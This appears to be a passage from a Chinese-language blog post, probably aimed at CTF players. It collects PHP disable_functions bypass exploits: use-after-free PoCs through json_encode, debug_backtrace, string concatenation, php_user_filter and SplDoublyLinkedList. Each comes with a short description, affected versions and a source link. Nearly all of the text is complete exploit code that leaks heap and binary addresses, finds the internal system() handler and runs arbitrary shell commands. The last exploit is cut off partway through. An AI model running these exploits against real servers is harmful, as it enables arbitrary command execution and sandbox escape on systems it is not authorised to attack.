$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}利用 Json Serializer UAF
此漏洞利用json序列化程序中的释放后使用漏洞，利用json序列化程序中的堆溢出触发，以绕过disable_functions和执行系统命令
- Linux 操作系统
- PHP7.1 - all versions to date
- PHP7.2 < 7.2.19 (released: 30 May 2019)
- PHP7.3 < 7.3.6 (released: 30 May 2019)
exp: https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);利用 Backtrace UAF
该漏洞利用在debug_backtrace()函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用，从而导致释放后使用漏洞
- Linux 操作系统
- PHP7.0 - all versions to date
- PHP7.1 - all versions to date
- PHP7.2 - all versions to date
- PHP7.3 < 7.3.15 (released 20 Feb 2020)
- PHP7.4 < 7.4.3 (released 20 Feb 2020)
exp: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}利用 concat operation UAF
此漏洞利用处理字符串连接的函数中的bug。如果 a.b 满足某些条件，则可能导致内存损坏的语句。错误报告提供了对漏洞的非常彻底的分析。
- 7.3 - all versions to date
- 7.4 - all versions to date
- 8.0 - all versions to date
- 8.1 - all versions to date
所有 PHP7 版本中都存在根本问题。但是，较旧的 （<7.3） 版本存在另一个错误，该错误会阻止在代码的某些部分正确释放内存，包括 concat_function 。此漏洞严重依赖该功能才能正常工作，因此在某种程度上，memleak 阻止了内存损坏漏洞的可利用性
exp: https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php
<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("uname -a");
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);
$this->abc = self::alloc(self::STRING_SIZE);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}
?>利用 user_filter
此漏洞利用了 10 多年前报告的bug
- 5.* - exploitable with minor changes to the PoC
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
- 7.4 < 7.4.26
- 8.0 < 8.0.13
exp: https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1
pwn('uname -a');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>利用 SplDoublyLinkedList UAF
PHP的SplDoublyLinkedList双向链表库中存在一个UAF漏洞，该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下，远程攻击者将能够实现PHP沙箱逃逸，并执行任意代码。更准确地来说，成功利用该漏洞后，攻击者将能够绕过PHP的某些限制，例如disable_functions和safe_mode等等。
- PHP v7.4.10及其之前版本
- PHP v8.0（Alpha）
例题：BMZCTF2020 - ezphp
exp: https://github.com/cfreal/exploits/blob/master/php-SplDoublyLinkedList-offsetUnset/exploit.php
<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#
#
error_reporting(E_ALL);
define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);
function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i(&$s, $p, $x=8)
{
$i = 0;
for($j=$x-1;$j>=0;$j--)
{
$i <<= 8;
$i |= ord($s[$p+$j]);
}
return $i;
}
class UAFTrigger
{
function __destruct()
{
global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;
#"print('UAF __destruct: ' . "\n");
$dlls[NB_DANGLING]->offsetUnset(0);
# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
$fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($fake_dll_element, 0x00, 0x12345678); # ptr
i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
for($i = 0; $i <= NB_DANGLING; $i++)
$dlls[$i]->next();
if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
die('Exploit failed: fake_dll_element did not increase in size');
$leaked_str_offsets = [];
$leaked_str_zval = [];
# In the memory after our fake element, that we can now read and write,
# there are lots of zend_string chunks that we allocated. We keep three,
# and we keep track of their offsets.
for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
{
# If we find a string marker, pull it from the string list
